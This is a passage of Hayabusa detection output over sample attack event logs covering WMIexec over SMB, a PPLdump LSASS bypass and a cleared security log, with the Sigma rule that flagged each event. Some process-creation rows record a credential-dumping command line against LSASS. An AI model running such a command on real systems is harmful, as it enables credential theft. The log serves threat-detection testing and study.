Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.313 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\SecurityAudf6921413# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.329 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\SecurityAudf6921413#\085b01b1533aaba67cfade21b3bda1a5 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.329 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Documents : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.329 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\desktop.ini : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:33.636 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Desktop : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:33.636 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: USERS\ADMMIG\DESKTOP : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:33.636 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Desktop : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:33.636 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Desktop : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:36.108 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Desktop\SMB exec.evtx : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:36.108 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Desktop\SMB exec.evtx : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:36.108 +09:00,fs03vuln.offsec.lan,5145,high,SMB Create Remote File Admin Share,,rules/sigma/builtin/security/win_smb_file_creation_admin_shares.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:36.109 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Desktop\SMB exec.evtx : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:36.109 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Desktop\SMB exec.evtx : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:36.109 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:36.124 +09:00,fs03vuln.offsec.lan,4672,informational,Admin Logon,User: admmig : LogonID: 0x18c318,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:36.124 +09:00,fs03vuln.offsec.lan,4672,informational,Admin Logon,User: admmig : LogonID: 0x18c326,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:36.124 +09:00,fs03vuln.offsec.lan,4672,informational,Admin Logon,User: admmig : LogonID: 0x18c336,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:36.124 +09:00,fs03vuln.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: : IP Address: 10.23.23.9 : Port: 63565 : LogonID: 0x18c318,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:36.124 +09:00,fs03vuln.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: : IP Address: 10.23.23.9 : Port: 63566 : LogonID: 0x18c326,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:36.124 +09:00,fs03vuln.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: : IP Address: 10.23.23.9 : Port: 63567 : LogonID: 0x18c336,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:36.124 +09:00,fs03vuln.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:36.124 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:36.124 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: USERS\ADMMIG\DESKTOP\DESKTOP.INI : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:36.140 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Desktop : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:36.179 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: USERS\ADMMIG\DESKTOP : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:36.195 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Desktop : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:36.211 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Desktop : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:36.211 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:36.211 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-23 07:09:25.389 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: PPLdump.exe -v lsass lsass.dmp : Path: C:\Users\IEUser\Desktop\PPLdump.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/ppl_bypass_ppldump_knowdll_hijack_sysmon_security.evtx +2021-04-23 07:09:25.389 +09:00,MSEDGEWIN10,1,high,LSASS Memory Dumping,,rules/sigma/process_creation/win_lsass_dump.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/ppl_bypass_ppldump_knowdll_hijack_sysmon_security.evtx +2021-04-23 07:09:26.081 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: C:\Windows\system32\services.exe 652 ""lsass.dmp"" a708b1d9-e27b-48bc-8ea7-c56d3a23f99 -v : Path: C:\Windows\System32\services.exe : User: NT AUTHORITY\SYSTEM : Parent Command: PPLdump.exe -v lsass lsass.dmp",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/ppl_bypass_ppldump_knowdll_hijack_sysmon_security.evtx +2021-04-23 07:09:26.081 +09:00,MSEDGEWIN10,1,low,Windows Processes Suspicious Parent Directory,,rules/sigma/process_creation/win_proc_wrong_parent.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/ppl_bypass_ppldump_knowdll_hijack_sysmon_security.evtx +2021-04-23 07:09:26.081 +09:00,MSEDGEWIN10,1,high,LSASS Memory Dumping,,rules/sigma/process_creation/win_lsass_dump.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/ppl_bypass_ppldump_knowdll_hijack_sysmon_security.evtx +2021-04-23 07:09:26.163 +09:00,MSEDGEWIN10,11,high,LSASS Process Memory Dump Files,,rules/sigma/file_event/file_event_lsass_dump.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/ppl_bypass_ppldump_knowdll_hijack_sysmon_security.evtx +2021-04-23 07:09:26.163 +09:00,MSEDGEWIN10,11,high,LSASS Memory Dump File Creation,,rules/sigma/file_event/sysmon_lsass_memory_dump_file_creation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/ppl_bypass_ppldump_knowdll_hijack_sysmon_security.evtx +2021-04-23 07:09:26.163 +09:00,MSEDGEWIN10,10,high,Credentials Dumping Tools Accessing LSASS Memory,,rules/sigma/process_access/sysmon_cred_dump_lsass_access.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/ppl_bypass_ppldump_knowdll_hijack_sysmon_security.evtx +2021-04-23 07:09:26.163 +09:00,MSEDGEWIN10,10,high,LSASS Memory Dump,,rules/sigma/process_access/sysmon_lsass_memdump.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/ppl_bypass_ppldump_knowdll_hijack_sysmon_security.evtx +2021-04-23 07:09:35.165 +09:00,MSEDGEWIN10,12,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/ppl_bypass_ppldump_knowdll_hijack_sysmon_security.evtx +2021-04-23 07:09:35.284 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k LocalService -p -s fdPHost : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\LOCAL SERVICE : Parent Command: ?,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/ppl_bypass_ppldump_knowdll_hijack_sysmon_security.evtx +2021-04-23 07:09:35.284 +09:00,MSEDGEWIN10,1,high,Suspicious Svchost Process,,rules/sigma/process_creation/win_susp_svchost.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/ppl_bypass_ppldump_knowdll_hijack_sysmon_security.evtx +2021-04-23 07:09:35.284 +09:00,MSEDGEWIN10,1,low,Windows Processes Suspicious Parent Directory,,rules/sigma/process_creation/win_proc_wrong_parent.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/ppl_bypass_ppldump_knowdll_hijack_sysmon_security.evtx +2021-04-26 17:25:31.043 +09:00,srvdefender01.offsec.lan,1102,high,Security log was cleared,User: admmig,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:36.560 +09:00,srvdefender01.offsec.lan,4672,informational,Admin Logon,User: admmig : LogonID: 0x4da321f,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:36.560 +09:00,srvdefender01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.123.11 : Port: 47020 : LogonID: 0x4da321f,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:36.584 +09:00,srvdefender01.offsec.lan,4672,informational,Admin Logon,User: admmig : LogonID: 0x4da324f,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:36.584 +09:00,srvdefender01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.123.11 : Port: 34114 : LogonID: 0x4da324f,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:36.686 +09:00,srvdefender01.offsec.lan,4672,informational,Admin Logon,User: admmig : LogonID: 0x4da3273,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:36.686 +09:00,srvdefender01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.123.11 : Port: 57116 : LogonID: 0x4da3273,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:36.852 +09:00,srvdefender01.offsec.lan,4672,informational,Admin Logon,User: admmig : LogonID: 0x4da3292,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:36.852 +09:00,srvdefender01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.123.11 : Port: 57116 : LogonID: 0x4da3292,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:36.913 +09:00,srvdefender01.offsec.lan,4672,informational,Admin Logon,User: admmig : LogonID: 0x4da32af,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:36.913 +09:00,srvdefender01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.123.11 : Port: 57116 : LogonID: 0x4da32af,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:37.313 +09:00,srvdefender01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:37.325 +09:00,srvdefender01.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: __1619425227.894209 : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:37.329 +09:00,srvdefender01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:37.332 +09:00,srvdefender01.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: __1619425227.894209 : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:37.335 +09:00,srvdefender01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:37.338 +09:00,srvdefender01.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: __1619425227.894209 : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:37.342 +09:00,srvdefender01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:37.344 +09:00,srvdefender01.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: __1619425227.894209 : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:37.348 +09:00,srvdefender01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:37.350 +09:00,srvdefender01.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: __1619425227.894209 : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:37.354 +09:00,srvdefender01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:37.356 +09:00,srvdefender01.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: __1619425227.894209 : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:37.360 +09:00,srvdefender01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:37.363 +09:00,srvdefender01.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: __1619425227.894209 : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:37.367 +09:00,srvdefender01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:37.369 +09:00,srvdefender01.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: __1619425227.894209 : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:37.373 +09:00,srvdefender01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:37.375 +09:00,srvdefender01.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: __1619425227.894209 : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:37.379 +09:00,srvdefender01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : IP Address: 